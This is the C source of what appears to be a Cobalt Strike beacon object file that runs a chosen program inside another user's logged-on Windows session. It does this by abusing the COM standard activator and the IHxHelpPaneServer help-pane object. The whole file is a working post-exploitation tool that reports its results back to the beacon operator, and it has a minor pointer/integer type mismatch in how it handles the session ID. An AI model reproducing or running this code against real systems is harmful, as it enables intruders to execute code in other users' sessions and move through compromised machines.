executecrosssession.c 3.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <wchar.h>
  4. #include "IHxExec.h"
  5. #include "IStandardActivator_h.h"
  6. #include "executecrosssession.h"
  7. #include "beacon.h"
  8. #pragma comment(lib, "ole32.lib")
  9. #pragma comment(lib, "oleaut32.lib")
  10. // Initialize IHxHelpPaneServer GUIDs
  11. HRESULT CoInitializeIHxHelpIds(GUID *Clsid, GUID *Iid) {
  12. HRESULT Result = S_OK;
  13. Result = OLE32$CLSIDFromString(L"{8cec58ae-07a1-11d9-b15e-000d56bfe6ee}", Clsid);
  14. if (!SUCCEEDED(Result))
  15. return Result;
  16. Result = OLE32$CLSIDFromString(L"{8cec592c-07a1-11d9-b15e-000d56bfe6ee}", Iid);
  17. return Result;
  18. }
  19. // Ensure file protocol in URL
  20. void EnsureFileProtocol(wchar_t **programPath) {
  21. const wchar_t *prefix = L"file:///";
  22. size_t prefix_len = MSVCRT$wcslen(prefix);
  23. size_t url_len = MSVCRT$wcslen(*programPath);
  24. if (url_len < prefix_len || MSVCRT$wcsncmp(*programPath, prefix, prefix_len) != 0) {
  25. size_t new_len = prefix_len + url_len + 1;
  26. wchar_t *new_url = (wchar_t *)MSVCRT$malloc(new_len * sizeof(wchar_t));
  27. MSVCRT$wcscpy_s(new_url, new_len, prefix);
  28. MSVCRT$wcscat_s(new_url, new_len, *programPath);
  29. *programPath = new_url;
  30. }
  31. }
  32. HRESULT CrossExecuteCOMTask(wchar_t *programPath, DWORD session) {
  33. HRESULT hr;
  34. IStandardActivator *pComAct = NULL;
  35. ISpecialSystemProperties *pSpecialProperties = NULL;
  36. IHxHelpPaneServer *pIHxHelpPaneServer = NULL;
  37. MULTI_QI qis[1] = {0};
  38. EnsureFileProtocol(&programPath);
  39. IID CLSIDIHxHelpPaneServer;
  40. IID IIDIHxHelpPaneServer;
  41. hr = CoInitializeIHxHelpIds(&CLSIDIHxHelpPaneServer, &IIDIHxHelpPaneServer);
  42. if (FAILED(hr)) return hr;
  43. hr = OLE32$CoInitializeEx(NULL, COINIT_MULTITHREADED);
  44. if (FAILED(hr)) return hr;
  45. const IID CLSIDComActivator = {0x0000033C, 0x0000, 0x0000, {0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}};
  46. const IID IIDIStandardActivator = {0x000001b8, 0x0000, 0x0000, {0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}};
  47. hr = OLE32$CoCreateInstance(&CLSIDComActivator, NULL, CLSCTX_INPROC_SERVER, &IIDIStandardActivator, (void **)&pComAct);
  48. if (FAILED(hr)) goto Cleanup;
  49. const IID IIDISpecialSystemProperties = {0x000001b9, 0x0000, 0x0000, {0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}};
  50. hr = pComAct->lpVtbl->QueryInterface(pComAct, &IIDISpecialSystemProperties, (void **)&pSpecialProperties);
  51. if (FAILED(hr)) goto Cleanup;
  52. hr = pSpecialProperties->lpVtbl->SetSessionId(pSpecialProperties, session, 0, 1);
  53. if (FAILED(hr)) goto Cleanup;
  54. qis[0].pIID = &IIDIHxHelpPaneServer;
  55. hr = pComAct->lpVtbl->StandardCreateInstance(pComAct, &CLSIDIHxHelpPaneServer, NULL, CLSCTX_ALL, NULL, 1, qis);
  56. if (FAILED(hr)) goto Cleanup;
  57. pIHxHelpPaneServer = (IHxHelpPaneServer *)(qis[0].pItf);
  58. hr = pIHxHelpPaneServer->lpVtbl->Execute(pIHxHelpPaneServer, programPath);
  59. if (FAILED(hr)) goto Cleanup;
  60. Cleanup:
  61. if (pComAct) pComAct->lpVtbl->Release(pComAct);
  62. if (pSpecialProperties) pSpecialProperties->lpVtbl->Release(pSpecialProperties);
  63. if (pIHxHelpPaneServer) pIHxHelpPaneServer->lpVtbl->Release(pIHxHelpPaneServer);
  64. OLE32$CoUninitialize();
  65. return hr;
  66. }
  67. int go(char *args, int len) {
  68. datap parser;
  69. WCHAR *programPath = L"";
  70. DWORD *session;
  71. BeaconDataParse(&parser, args, len);
  72. programPath = BeaconDataExtract(&parser, NULL);
  73. session = BeaconDataInt(&parser);
  74. HRESULT hr = CrossExecuteCOMTask(programPath, session);
  75. if (SUCCEEDED(hr)) {
  76. BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully started COM object in session ID %d and executed binary: %ls\n", session, programPath);
  77. } else {
  78. BeaconPrintf(CALLBACK_ERROR, "[-] Failed operation with error code: 0x%08lx\n", hr);
  79. }
  80. return 0;
  81. }